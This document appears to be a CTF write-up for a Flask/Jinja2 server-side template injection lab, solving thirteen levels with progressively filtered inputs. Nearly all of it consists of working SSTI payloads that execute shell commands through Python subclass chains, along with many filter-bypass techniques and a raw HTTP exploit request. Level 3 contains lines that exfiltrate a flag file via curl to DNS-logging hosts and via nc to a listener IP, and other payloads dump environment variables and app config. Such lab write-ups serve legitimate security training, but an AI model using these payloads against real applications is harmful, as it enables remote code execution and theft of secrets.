Environment#
Knowledge Points#
- flask
- SSTI
SSTI (Server-Side Template Injection) is a web application vulnerability that occurs in server-side template engines. It allows attackers to execute arbitrary code or obtain sensitive information by injecting malicious template code into user input.
SSTI is commonly found in web applications that use template engines, such as Flask, Django, Jinja2, etc. In these applications, template engines are used to render dynamic data into static HTML pages. Typically, developers use placeholders (variables) in templates to represent values to be rendered, such as {{ username }}.
When the application does not properly filter or restrict user input, attackers can craft special malicious input that is directly parsed and executed by the template engine, leading to the execution of malicious code snippets rather than simply rendering data.
Through SSTI attacks, attackers can execute arbitrary server-side code, including reading/modifying application data, executing commands, accessing the file system, etc. This can lead to information leakage, server attacks, remote code execution, and other dangerous situations.
This environment is based on Flask, which is a popular Python web framework used for quickly building web applications with flexibility and scalability.
Problem-Solving Ideas#
The entire target environment is as follows:
How to determine Python SSTI template injection:
- Middleware
- Return information (jinja2, flask)
- Keyword hints
Level 1#
{{2*2}}
, output, 4
{{config}}
Hello <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
{{config.SECRET_KEY}}
Jinja2 payload can be used
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
Level 2#
Level 2 filters bl['\{\{']
Here, {{
is filtered, and {%%}
can be used to bypass it.
Using Burp to brute force exploitable classes
{%print(''.__class__.__base__.__subclasses__()[346].__init__.__globals__['os'].popen('ls').read())%}
Returns as follows:
Level 3#
No WAF and blind
Sending any request package returns the following content:
Blind injection can use DNS exfiltration
Payload as follows:
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag`.pc1dd3.ceye.io').read()}}{% endif %}{% endfor %}
{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl http://`cat flag`.1riscn.dnslog.cn").read()}}
NC listening
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 192.168.91.128 4444').read()}}{% endif %}{% endfor %}
Level 4#
bl['[', ']']
Filters square brackets
For indexing []
, you can use pop()
or __getitem__()
instead of []
; for classes, you can bypass using __getattribute__
.
{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(81).__init__.__globals__.__getitem__('__import__')('os').popen("env").read()}}
Level 5#
Filters quotes, bl['\'', '"']
- Request bypass
{{().__class__.__bases__[0].__subclasses__()[81].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}
POST:arg1=os&arg2=cat flag
Payload:
POST /level/5 HTTP/1.1
Host: node5.anna.nssctf.cn:28491
Content-Length: 149
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://node5.anna.nssctf.cn:28491
Referer: http://node5.anna.nssctf.cn:28491/level/5
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=hdt08jc4bu052a9k34e0oocqd6
Connection: close
code={{().__class__.__bases__[0].__subclasses__()[261].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}&arg1=os&arg2=env
- Using cookies
{{().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[request.cookies.arg1].popen(request.cookies.arg2).read()}}
Cookie:arg1=os;arg2=cat flag
Unable to return content
- chr() bypass
First, find the position of the chr()
function
{{().__class__.__mro__[-1].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
{%set chr=[].__class__.__mro__[-1].__subclasses__()[58].__init__.__globals__.__builtins__.chr%}
{%print(().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read())%}
Unable to return content
Level 6#
bl['_']
, filters underscore
- Cookie bypass
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
cookie:a=__globals__;b=cat /flag
- Sixteen-bit encoding bypass
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][-1]["\x5f\x5fsubclasses\x5f\x5f"]()[258]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"].popen("cat flag").read()}}
- URL encoding bypass
Using the lipsum method to directly call os
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("env")|attr("read")()}}
- Base64 encoding
{{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))(258)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr('read')()}}
attr()
combined with request
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()
Level 7#
bl['.']
, filters .
- Bypass
[]
[x]
{{''['__class__']['__bases__']['__subclasses__']()['__getitem__'](81)['__init__']['__globals__']['__getitem__']('__import__')('os')['popen']("env")['read']()}}
- URL encoding bypass
[√]
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("env")|attr("read")()}}
Another method does not work [x]
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(258)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('env')|attr('read')()}}
Level 8#
bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
Keyword filtering
().__class__=()["__cla"+"ss__"] // Here the dot is replaced by square brackets
"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('env').read()
Transformed into:
{{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[133]["__in"+"it__"]["__glo"+"bals__"]['po'+'pen']('env').read()}}
Or use a for statement
{%for i in ""["__cla"+"ss__"]["__mr"+"o__"][1]["__subcla"+"sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in"+"it__"]["__glo"+"bals__"]["po"+"pen"]('env')["read"]()%}{%endif%}{%endfor%}
Or use the json() filter to concatenate
dict(__in=a,it__=a)|join =__init__
{%set a=dict(__cla=a,ss__=a)|join%}
{%set b=dict(__ba=a,se__=a)|join%}
{%set c=dict(__subcla=a,sses__=a)|join%}
{%set d=dict(__in=a,it__=a)|join%}
{%set e=dict(__glo=a,bals__=a)|join%}
{%set h=dict(po=a,pen=a)|join%}
{%print(""[a][b][c]()[133][d][e][h]('env').read())%}
Level 9#
bl['0-9']
, filters numbers
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
Level 10#
set config = None
url_for.__globals__
url_for.__globals__['current_app'].config
Set config to empty, utilizing current_app
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
Level 11#
bl['\'', '"', '+', 'request', '.', '[', ']']
Filters single quotes, double quotes, plus signs, request, dots, and square brackets.
Using set to define variables, dots and square brackets can be replaced with attr, and keywords can be replaced with join.
Prepare a payload:
().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()
Modified payload as follows:
{%set a=dict(__cla=a,ss__=b)|join %}
{%set b=dict(__bas=a,e__=b)|join %}
{%set c=dict(__subcla=a,sses__=b)|join %}
{%set d=dict(__ge=a,titem__=a)|join%}
{%set e=dict(__in=a,it__=b)|join %}
{%set f=dict(__glo=a,bals__=b)|join %}
{%set g=dict(pop=a,en=b)|join %}
{%set h=self|string|attr(d)(18)%}
{%set flag=dict(env=abc)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(133)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}
- Another solution
Using lipsum
to obtain underscore
The index of underscore is 18
{{(lipsum|string|list)|attr(pop)(18)}}
attr()
requires a string inside, but directly inputting pop needs to be surrounded by quotes ''
, but here quotes are filtered, so you need to construct a pop
string:
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
At this point, you can successfully obtain _
, and then use the underscore to construct other classes:
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
Then construct the methods used later:
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat)|join%}
{% set read=dict(read=a)|join%}
Finally, the complete exploitation syntax is:
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
Combined together is:
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(env=a)|join%}
{% set cmd=(cat)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
Level 12#
bl['_', '.', '0-9', '\\', '\'', '"', '[', ']']
Similar to level 11
, but with additional filtering of numbers and underscores. Use count to obtain numbers, and construct pop to obtain underscores.
().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()
{% set po=dict(po=a,p=a)|join%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{% print(x)%}
{% set po=dict(po=a,p=a)|join%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set a=(x,x,dict(class=a)|join,x,x)|join()%}
{%set b=(x,x,dict(base=a)|join,x,x)|join() %}
{%set c=(x,x,dict(subclasses=a)|join,x,x)|join() %}
{%set d=(x,x,dict(getitem=a)|join,x,x)|join()%}
{%set e=(x,x,dict(init=b)|join,x,x)|join()%}
{%set f=(x,x,dict(globals=b)|join,x,x)|join()%}
{%set g=dict(pop=a,en=b)|join %}
{%set h=self|string|attr(d)(eighteen)%}
{%set flag=dict(env=abc)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}
- Another solution
code={%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(env=a)|join%}
{% set cmd=(cat)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
Level 13#
bl['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
Additional keyword filtering, where self
is banned. Originally used to set spaces, here you can use pop to construct spaces. Simply modify the previous payload.
code={% set po=dict(po=a,p=a)|join%}
{%set one=dict(aaaaaaaaaaaaaaaaa=a)|join|count%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set a=(x,x,dict(cla=a,ss=a)|join,x,x)|join()%}
{%set b=(x,x,dict(base=a)|join,x,x)|join() %}
{%set c=(x,x,dict(subcla=a,sses=a)|join,x,x)|join() %}
{%set d=(x,x,dict(getitem=a)|join,x,x)|join()%}
{%set e=(x,x,dict(ini=a,t=a)|join,x,x)|join()%}
{%set f=(x,x,dict(globals=b)|join,x,x)|join()%}
{%set g=dict(pop=a,en=b)|join %}
{%set h=(()|select|string|list)|attr(po)(one)%}
{%set flag=dict(env=abc)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}
- Another solution
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(env=a)|join %}
{% set cmd=(cat)|join %}
{% set read=dict(read=a)|join %}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
References#
https://tttang.com/archive/1698/#toc_level-8
https://johnfrod.top/ctf/flask-ssti-lab%E6%94%BB%E7%95%A5/